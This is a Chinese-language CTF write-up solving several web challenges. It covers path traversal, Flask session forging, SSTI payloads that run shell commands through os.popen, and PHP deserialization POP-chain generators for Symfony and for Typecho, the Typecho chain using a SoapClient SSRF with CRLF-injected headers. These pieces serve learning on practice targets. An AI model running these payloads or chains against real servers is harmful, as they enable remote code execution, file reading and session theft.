目录
[CISCN2019 总决赛 Day1 Web4]Laravel1
virink_2019_files_share
打开界面看一下源码, 以为直接访问就出了,发现直接重定向到了根目录,呃呃呃就知道不会这么简单。
发现了/uploads/favoicon.ico这是一个文件,访问./uploads目录,
burp扫一下发现了 发现了一个get传参首先考虑任意文件读取漏洞,
发现从/etc/passwd --->\/epasswd ,所以可以发现过滤了一些东西。
加了n个../发现成功了,这时候就想到一开始那个flag目录的提示了,
这里卡了一下,忘记了,需要双写re,这里加flag是因为前面的是个目录。
[PASECA2019]honey_shop
打开界面发现,需要1337才可以获取flag但我们只有1336,然后session解码看一下
到了这里我们的思路变成了如何获得密钥然后伪造cookie,
这里我从源码看见download,然后考虑是否有任意文件下载漏洞,
查看坏境看见了密钥,
中途的插曲
本来都看见当前的进程是app.py了,但是读取就是出不来 提示禁止了,然后才用的environ
[watevrCTF-2019]Supercalc
打开界面之后发现,输入算式就会给出来结果。
首先找找给出了哪些信息,源码没什么有用的信息,看一下Network
发现有session,用脚本解码一下,
{"history":[{"code":"6 / 5"},{"code":"6 / 5"}]} 里面就是我们输入的东西并且执行了
一般这种都会是一个ssti的漏洞,但是这道题{{7*7}}
Check your syntax m8,{%7*7%},报语法错误,猜测禁用了{{}}
然后让这个程序报错,会不会爆出有用的信息。
然后我到了这里就不会了,只能爬师傅们的文章
看完之后,这里虽然报错了,但还是返回了1/0我们输入的值,因为flask框架是基于python语言的,所以师傅们用的方法是#注释掉后面的,
会发现后面的会正常执行,1/0#{{config}},查看配置信息,发现了密钥 这里我本来的想法为什么不能直接,
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read()}}
试了之后有报错,难搞,说明只能通过密钥伪造cookie
{'history':[{'code':'__import__(\"os\").popen(\"ls -a\").read()'}]}
然后读取flag
[b01lers2020]Scrambled
打开界面发现一个超链接 的视频,源码并无异常。
这里我是看到了cookie中的异常,
kxkxkxkxsh0b29kxkxkxkxsh 中间得四位是通过刷新不断变化的,0b29比如这里,第29个字符就是b则28就是0,也是一道脑洞题。
import requests
import re
import time
url = 'http://cd3f66b1-2a6e-4f68-bcf0-3942ea117454.node4.buuoj.cn:81/'
res = requests.session()
r = res.get(url, headers={'Cookie': 'frequency=1; transmissions=kxkxkxkxsh0b29kxkxkxkxsh'})
flag = [0] * 100 #这里是创建了100个数组
fflag = ''
for i in range(100): # 这里最好是要100此,难免会出现重复的transmissions导致最后的结果错误
time.sleep(0.1)
r = res.get(url)
cookies = r.cookies
ans = str(cookies['transmissions'])
ans = ans.replace('kxkxkxkxsh', '').replace('%7B', '{').replace('%7D', '}')
print(ans)#9724
index = ans[2:] #比如是 3632 则会 输出 32
print(index)#24
print(ans[1])#7
flag[int(index)] = ans[1] #flag[24]=7
flag[int(index) - 1] = ans[0]#flag[23]=9
print("-------loading-------")
# for i in range(100):
# fflag += str(flag[i])
#
# print(fflag)
#
[CISCN2019 总决赛 Day1 Web4]Laravel1
打开直接给出了源码,看来是需要我们构造序列化的东西。
所以我们直接全局搜索__dustruct,
虽然去除掉了一部分但还是真的多,
通过逐个分析找到一个可以文件包含的链,
TagAwareAdapter类:
这里的this->pool是我们可以控制的,所以找出一个恶意类中的 saveDeferred方法即可,最终找到了PhpArrayAdapter.php中的方法,
控制this->values=null,就可以执行initialize(), 里面有include $this->file,所以我们可以包含/flag来获取。
构造exp
<?php
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file='/flag';
}
class TagAwareAdapter{
private $deferred = [];
private $pool;
public function __construct()
{
$this->deferred = array('flight' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
}
namespace Symfony\Component\Cache{
class CacheItem{}
}
namespace {
use Symfony\Component\Cache\Adapter\TagAwareAdapter;
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}
use Symfony\Component\Cache\CacheItem;为什么要用这个类呢,那是因为
$item变量是,CacheItemInterface是一个接口不能实例化,所以用了他一个子类Cacheitem可以实例化。 感悟:代码审计的题的确非常需要耐心一个个看,所以做题应该静下心来,思路:找出可以利用的方法比如,include/file_get_contents等,然后找出__destruct起点一步步观察。
[MRCTF2020]Ezpop_Revenge
首先了解原生类SoapClient,调用一个不存在的函数,回去调用__call方法
<?php
try {
$a = new SoapClient(null, array('uri' => 'aaa', 'location' => 'http://ip:5656'));
$a->function();
} catch (SoapFault $e) {
}
$a->function()这里的,function方法是不存在的所以就会调用call方法,然后会在本地显示
回归正文
打开题目了以后,蒙了,扫目录发现了www.zip,下载为源码
首先看一下flag.php
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>
判断ip是不是本地,如果是的话,把flag存入session中,可以想到ssrf然后最后肯定是需要访问flag.php把flag包含进session中。
给出了php源码,一般来说都是__destruct 和__wakeup入手,全局搜索
发现有两个__destruct都是对文件 的一些删除等操作,没有利用价值。
搜索__wakeup,HelloWorld\Plugin.php中
<?php
if (!defined('__TYPECHO_ROOT_DIR__')) exit;
/**
* Hello World
*
* @package HelloWorld
* @author qining
* @version 1.0.0
* @link http://typecho.org
*/
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}
}
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
里面的两个参数我们可以控制,根进去看一下
Typecho\Db.php
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
//字符串链接会触发 __tostring
因为$adapterName是我们传进去的$this->coincidence['hello'] 所以可控,
那么我们就可以找一下__tostring方法
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
new SoapClient(null, array('uri' => 'aaa', 'location' => 'http://ip:5656'))->function);
这两种的形式是一样的,所以我们就可以用soapClient
<?php
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct()
{
$target = 'http://127.0.0.1/flag.php';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=arvkb8pr8macu0u406pp7grmr3'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'HyyMbb^^'.join('^^',$headers),'uri' => "aaab"));
$this->_sqlPreBuild =array("action"=>"SELECT");
$this->_adapter = $b;
}
}
class HelloWorld_DB
{
private $coincidence;
public function __construct()
{
$this->coincidence = ["hello" => new Typecho_Db_Query()];
}
}
$a = new HelloWorld_DB();
$aaa = serialize($a);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo base64_encode($aaa);
分析路径
我们访问了page_admin路径,那么这个哪来的呢
我要要用action()中的方法,而代码中都没引用,那么猜测会有路由指向,
var/Typecho/Plugin.php这里可以用全局搜索,addRoute,或者搜索路径+类名也可以
public static function activate($pluginName) { self::$_plugins['activated'][$pluginName] = self::$_tmp; self::$_tmp = array(); Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action'); }
这句代码的意思就是访问/page_admin
的时候,会自动加载HelloWorld_Plugin
类,而且会自动调用action
函数,所以我们输入点的路由为/page_admin
还有一个点就是为什么字符串链接,没有指向,就会跳到别的类呢
<?php
class k{
public $str;
public $abc;
public function __construct()
{
echo "进行了construct";
$abc =new a();
$str='sfsf'.$abc;
}
}
class a{
public function __toString()
{
echo "tostring";
echo "44444444";
}
}
$s=new k();
echo $s;
结果:进行了construct tostring 44444444,非常神奇。
这里提示一点就是:s->S S可以后面和16进制,\00
参考链接:MRCTF2020 web Ezpop_Revenge 简单记录 - CodeAntenna
[pasecactf_2019]flask_ssti
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W34', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT5')
上面这个其实就是解密脚本,一开始就给出了,但还是自己做做
{{""["\x5f\x5fclass\x5f\x5f"]}} "".__class__
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclassed\x5f\x5f"]()}} "".__class__.__base__.__subclasses__(){{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat ap*")["read"]()}}
因为是ssti肯定需要一步步构造,然后查找127
os._wrap_close我们可以利用,然后ls ls /唉没flag,但是看见了app.py文件,所以我觉得里面肯定有东西
import random
from flask import Flask, render_template_string, render_template, request
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
file = open("/app/flag", "r")
flag = file.read()
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")
nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']
@app.route('/', methods=['GET', 'POST'])
# 需要请求方式为POST才能get到nickname
def index():
if request.method == 'POST':
try:
p = request.values.get('nickname')
id = random.randint(0, len(nicknames) - 1)
if p != None:
if '.' in p or '_' in p or '\'' in p:
return 'Your nickname contains restricted characters!'
return render_template_string(nicknames[id] % p) # 注入
except Exception as e:
print(e)
return 'Exception'
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
从源码很容易发现,加密手段
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
并且是通过异或来搞的,异或可以逆向出来,解密脚本=加密脚本
flag=3
a=4
b=5
print(flag^4^5) 2
print(2^4^5) 3
然后我们就可以把从config 中的flag,进行解码
这里为何访问{{config}}那是因为,app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT') config的赋值
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) #加密的方式
flag='-M7\x10wG:66S+k/\x0e\x1b\r?\x0e(D\x1e\x1c_\x17xoS`\x02Y\x13Yq\x03z-Ei\x10\x06IG'
flag=encode(flag,'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
print(flag)